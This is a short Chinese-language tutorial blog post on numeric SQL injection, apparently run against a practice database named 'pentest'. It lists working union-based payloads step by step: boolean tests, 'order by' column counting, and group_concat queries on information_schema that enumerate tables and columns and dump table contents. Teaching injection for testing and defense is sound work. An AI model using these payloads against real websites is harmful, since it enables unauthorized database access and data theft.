首页 > 数据库技术 > 详细

sql注入(一)-----数字型

时间:2019-07-02 17:22:38      阅读:94      评论:0      收藏:0      [点我收藏+]

一、sql注入漏洞

  是当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

二、如何进行sql注入?

  1、判断是否存在sql注入

    and 1=1 返回正确

    and 1=2 返回错误

  2、猜出字段数

    order by  x(数字)

    技术分享图片

  3、猜出字段位(必须与内部字段数一致)

    and 1=2 

    union selct 1,2,3

    技术分享图片

  4、猜数据库名

    union select 1,database(),3

    技术分享图片

  5、联合查询(group_concat())   点代表下一级

  猜出当前数据库pentest中所有的表名。

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest‘   或

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

 

 

  技术分享图片

 

  6、猜列名

    union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘news‘

    技术分享图片

 

   7、猜数据

    union select 1,group_concat(id,title,content),3 from news 

    技术分享图片

 

sql注入(一)-----数字型

原文:https://www.cnblogs.com/startingpoint-fly/p/11121803.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!